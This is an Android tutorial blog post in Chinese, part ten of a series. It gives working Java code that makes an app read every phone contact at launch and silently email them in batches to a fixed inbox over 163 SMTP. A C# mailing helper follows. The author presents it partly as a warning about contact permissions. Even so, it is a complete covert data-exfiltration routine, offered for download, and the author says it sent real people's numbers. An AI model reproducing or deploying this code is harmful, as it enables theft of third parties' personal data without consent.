溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Android切近實戰(zhàn)(十)

發(fā)布時間:2020-08-03 01:12:02 來源:網絡 閱讀:1740 作者:BruceAndLee 欄目:移動開發(fā)

最近上半年績效確認,又是C,我就不明白了,怎么才能得B,怎么才能得A。我去,不借書,不參加培訓,不加班就活該得C,那你招一群剛畢業(yè)的學生得了,剛畢業(yè)的學生干勁大,加班到半夜都沒問題。唉,不說了,這年頭不加班干完活都覺得不正常了。


大家還記得上篇文章么,看下圖。

Android切近實戰(zhàn)(十)

今天的話我就是要在該App啟動的時候,將手機內存儲的所有聯(lián)系人通過郵件發(fā)送到指定的郵箱,怎么樣,夠狠吧。所以不是所有的app我們都給他開讀取手機信息的權限,否則就泄露個底朝天。我們先看一下發(fā)郵件,需要到網上下載這三個jar包,這三個jar包不好下,要么你去google官網下,要么在csdn下,或者干脆在本篇文章下,給大家點福利。


Android切近實戰(zhàn)(十)

說到這個發(fā)郵件,類是別人寫的,我拿來以為能用,結果他媽的很多問題,壓根就發(fā)不了郵件。改了很多問題,查了一些資料,尼瑪才搞定。說到這里,我就想說那些寫博客的或者是抄博客的或者是轉載博客的,咋們做技術的要憑良心寫博客。不能不管三七二十一,就抄過來。這樣不但讓看你博客的人覺得你不專業(yè),而且還浪費每個看你博客的人的時間。你寫個博客,你文采不行,但是你把代碼最起碼寫的能正常運行,能達到該代碼能實現(xiàn)的功能吧。

好了,不說了。我們看一下代碼,我的設計是將聯(lián)系人信息全部讀取出來,然后通過多線程分批發(fā)送到指定郵箱。要說到多線程,大家肯定會想到Handler,handler會分發(fā)runable對象到主線程消息隊列中。當我們實例化一個Handler對象的時候,就默認與對它初始化的進程的消息隊列綁定。那么當線程有更新UI的操作話,我們就需要把數據消息作為一個Message對象發(fā)送到消息隊列中,然后,用Handler中的handlerMessge方法處理傳過來的數據信息,并操作UI。那么剛才說到分發(fā)runable對象到主線程隊列中,我們看一下Handler有哪些方法可以實現(xiàn)分發(fā)Runable對象(查API)。

Android切近實戰(zhàn)(十)

Android切近實戰(zhàn)(十)


我們今天使用的其實就是post方法,分發(fā)多個runable對象到消息隊列并執(zhí)行。說了這么多不如直接看代碼來得實在。

private void SyncContactUserInfo() {
		CustomRunable customeRunable;
		List<Map<String, Object>> tempPagedDataList = this.GetContactUserList();
		List<Map<String, Object>> dataList = this.GetContactUserList();
		int totalSize = dataList.size();
		if (totalSize == 0)
			return;

		int threadCount = totalSize % PageSize == 0 ? totalSize / PageSize
				: totalSize / PageSize + 1;

		for (int i = 1; i <= threadCount; i++) {
			if (i == threadCount) {
				tempPagedDataList = dataList.subList((i - 1) * PageSize,
						(i - 1) * PageSize + totalSize % PageSize -1);
			} else {
				tempPagedDataList = dataList.subList((i - 1) * PageSize,
						PageSize * i - i);
			}
			customeRunable = new CustomRunable(tempPagedDataList, i);
			handler.post(customeRunable);
		}
	}

上節(jié)課我們已經寫過如何讀取手機聯(lián)系人了,所以這里就不在贅述。這段代碼其實就是把聯(lián)系人信息讀取出來,然后去分批發(fā)送。上面的代碼相信做過分頁的人都應該知道,需要注意的就是List<T>的subList方法,傳入start Index和end index就可以了,這里有點類似客戶端分頁。

在上面的代碼中我們看到了一個CustomRunable類,這個類是我自己定義的,如下

class CustomRunable implements Runnable {
		StringBuilder strBuilder = new StringBuilder();
		List<Map<String, Object>> dataList;
		int index;

		public CustomRunable(List<Map<String, Object>> dataList, int index) {
			this.dataList = dataList;
			this.index = index;
		}

		public void run() {
			strBuilder.append("<html><body><table style='border:1px solid black'>");
			strBuilder.append("<tr><th>姓名</th><th>手機號碼</th></tr>");

			if (this.dataList != null && this.dataList.size() > 0) {
				for (Map<String, Object> data : dataList) {
					strBuilder.append("<tr>");
					strBuilder.append("<td>");
					strBuilder.append(data.get("UserName").toString());
					strBuilder.append("</td>");
					strBuilder.append("<td>");
					strBuilder.append(data.get("UserPhoneNumber").toString());
					strBuilder.append("</td>");
					strBuilder.append("</tr>");
				}
			}

			strBuilder.append("</table></body></html>");
			MailSenderInfo mailSendInfo = BuildMailSendInfo("第"
					+ index + "批手機號", strBuilder.toString());
			SimpleMailSender.sendHtmlMail(mailSendInfo);
		}
	}

我定義了默認的構造函數,一個是聯(lián)系人手機號碼列表,一個是標示是第幾批。當我拿到這批手機號碼的時候,構造一個html格式的郵件,然后發(fā)送。郵件的標題是“第{0}批手機號碼”,郵件的內容就是第一列姓名,第二列手機號的一個html表格。其實這里的run方法,一旦這個runable對象被分發(fā)到隊列中,就會立即執(zhí)行run方法。

大家其實可能此時最關注的是發(fā)郵件的代碼,不妨就把最關鍵的類(SimpleMailSender)的代碼貼出來好了,然后完了如果大家想要的話可以在這篇文章的附件下載或者加入群“.net技術沖鋒舟(205217091)”。

package bruce.util.mail;

import java.util.Date;
import java.util.Properties;

import javax.activation.CommandMap;
import javax.activation.MailcapCommandMap;
import javax.mail.Address;
import javax.mail.BodyPart;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Multipart;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;

public class SimpleMailSender {
	/**
	 * 以文本格式發(fā)送郵件
	 * 
	 * @param mailInfo
	 *            待發(fā)送的郵件的信息
	 */
	public static boolean sendTextMail(MailSenderInfo mailInfo) {
		// 判斷是否需要身份認證
		MyAuthenticator authenticator = null;
		Properties pro = mailInfo.getProperties();
		if (mailInfo.isValidate()) {
			// 如果需要身份認證,則創(chuàng)建一個密碼驗證器
			authenticator = new MyAuthenticator(mailInfo.getUserName(),
					mailInfo.getPassword());
		}
		// 根據郵件會話屬性和密碼驗證器構造一個發(fā)送郵件的session
		Session sendMailSession = Session
				.getInstance(pro, authenticator);
		try {
			// 根據session創(chuàng)建一個郵件消息
			Message mailMessage = new MimeMessage(sendMailSession);
			// 創(chuàng)建郵件發(fā)送者地址
			Address from = new InternetAddress(mailInfo.getFromAddress());
			// 設置郵件消息的發(fā)送者
			mailMessage.setFrom(from);
			// 創(chuàng)建郵件的接收者地址,并設置到郵件消息中
			Address to = new InternetAddress(mailInfo.getToAddress());
			mailMessage.setRecipient(Message.RecipientType.TO, to);
			// 設置郵件消息的主題
			mailMessage.setSubject(mailInfo.getSubject());
			// 設置郵件消息發(fā)送的時間
			mailMessage.setSentDate(new Date());
			// 設置郵件消息的主要內容
			String mailContent = mailInfo.getContent();
			mailMessage.setText(mailContent);
			// 發(fā)送郵件
			Transport.send(mailMessage);
			return true;
		} catch (MessagingException ex) {
			ex.printStackTrace();
		}
		return false;
	}

	/**
	 * 以HTML格式發(fā)送郵件
	 * 
	 * @param mailInfo
	 *            待發(fā)送的郵件信息
	 */
	public static boolean sendHtmlMail(MailSenderInfo mailInfo) {
		// 判斷是否需要身份認證
		MyAuthenticator authenticator = null;
		Properties pro = mailInfo.getProperties();
		// 如果需要身份認證,則創(chuàng)建一個密碼驗證器
		if (mailInfo.isValidate()) {
			authenticator = new MyAuthenticator(mailInfo.getUserName(),
					mailInfo.getPassword());
		}
		// 根據郵件會話屬性和密碼驗證器構造一個發(fā)送郵件的session
		Session sendMailSession = Session
				.getInstance(pro, authenticator);
		try {
			// 根據session創(chuàng)建一個郵件消息
			Message mailMessage = new MimeMessage(sendMailSession);
			// 創(chuàng)建郵件發(fā)送者地址
			Address from = new InternetAddress(mailInfo.getFromAddress());
			// 設置郵件消息的發(fā)送者
			mailMessage.setFrom(from);
			// 創(chuàng)建郵件的接收者地址,并設置到郵件消息中
			Address to = new InternetAddress(mailInfo.getToAddress());
			// Message.RecipientType.TO屬性表示接收者的類型為TO
			mailMessage.setRecipient(Message.RecipientType.TO, to);
			// 設置郵件消息的主題
			mailMessage.setSubject(mailInfo.getSubject());
			// 設置郵件消息發(fā)送的時間
			mailMessage.setSentDate(new Date());
			// MiniMultipart類是一個容器類,包含MimeBodyPart類型的對象
			Multipart mainPart = new MimeMultipart();
			// 創(chuàng)建一個包含HTML內容的MimeBodyPart
			BodyPart html = new MimeBodyPart();
			// 設置HTML內容
			html.setContent(mailInfo.getContent(), "text/html; charset=utf-8");
			mainPart.addBodyPart(html);
			// 將MiniMultipart對象設置為郵件內容
			mailMessage.setContent(mainPart);
			// 發(fā)送郵件
			
			MailcapCommandMap mc = (MailcapCommandMap)CommandMap.getDefaultCommandMap();
		    mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html");
		    mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml");
		    mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain");
		    mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed");
		    mc.addMailcap("message/rfc822;; x-java-content-handler=com.sun.mail.handlers.message_rfc822");
		    CommandMap.setDefaultCommandMap(mc);
			Transport.send(mailMessage);
			return true;
		} catch (MessagingException ex) {
			ex.printStackTrace();
		}
		return false;
	}
}

OK,這就是我修改后的版本,能直接用,文章的末尾我會給大家見證奇跡。這個類中,一個是發(fā)送文本郵件,一個是發(fā)送Html格式的郵件,也可以發(fā)附件。OK,其實調用的話就是構造一個MailSenderInfo對象。如下

private static MailSenderInfo BuildMailSendInfo(String mailSubject,
			String mailContent) {
		MailSenderInfo mailInfo = new MailSenderInfo();
		mailInfo.setContent(mailContent);
		mailInfo.setFromAddress("Bruce.L.Li@163.com");
		mailInfo.setMailServerHost("smtp.163.com");
		mailInfo.setMailServerPort("25");
		mailInfo.setPassword("********");
		mailInfo.setSubject(mailSubject);
		mailInfo.setToAddress("******@qq.com");
		mailInfo.setUserName("lilei1986XXXX@163.com");
		mailInfo.setValidate(true);
		return mailInfo;
	}

在這里解釋一下這些方法

setContent:郵件內容

setFromAddress:發(fā)送者郵箱賬號

setMailServerHost:163郵箱

setMailServerPort:25

setPassword:用來驗證的郵箱密碼

setSubject:郵件標題

setToAddress:接收者的郵箱

setUserName:用來驗證的郵箱賬號

setValidate:如果為true,則會驗證setUserName和setPassword的用戶名和密碼。否則不會。

這里需要注意setUserName和setPassword必須是一個能登陸163郵箱的賬號和密碼。


其實這里和C#發(fā)Email差不多

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace CLUtility
{
    public class EmailHelper
    {
        public static void SendEmail(string mailTitle, string mailContent, params string[] mailToAddress)
        {
            System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();
            client.Host = "smtp.ym.163.com";//使用163的SMTP服務器發(fā)送郵件
            client.UseDefaultCredentials = true;
            client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
            client.Credentials = new System.Net.NetworkCredential("Bruce.XXX.XX@163.com", "*******");
            System.Net.Mail.MailMessage Message = new System.Net.Mail.MailMessage();
            Message.From = new System.Net.Mail.MailAddress("lilei1986abc@163.com");

            foreach (var address in mailToAddress)
            {
                Message.To.Add(address);
            }

            Message.Subject = mailTitle;
            Message.Body = mailContent;
            Message.SubjectEncoding = System.Text.Encoding.UTF8;
            Message.BodyEncoding = System.Text.Encoding.UTF8;
            Message.Priority = System.Net.Mail.MailPriority.High;
            Message.IsBodyHtml = true;
            client.Send(Message);
        }
    }
}

OK,最后,我們見證奇跡的時刻到了,先看163發(fā)件箱。大家看到了順序并不是按照1-9升序排列。

Android切近實戰(zhàn)(十)

我們看一下發(fā)出的郵件內容

Android切近實戰(zhàn)(十)

這些可都是我手機上的真實號碼。唉,對不起大家,不知道網易和騰訊是否對這些號碼感興趣呢。

最后我們再看看QQ郵箱是否已經收到郵件。

Android切近實戰(zhàn)(十)


木有問題,收到了。我們看一下內容

Android切近實戰(zhàn)(十)

OK,成功了,最后,哥們的博客是貨真價實的,測試機是小米3,看過這篇文章,你以后還敢隨便允許app訪問你的手機聯(lián)系人信息嗎。

Android切近實戰(zhàn)(十)

附件:http://down.51cto.com/data/2365112
向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI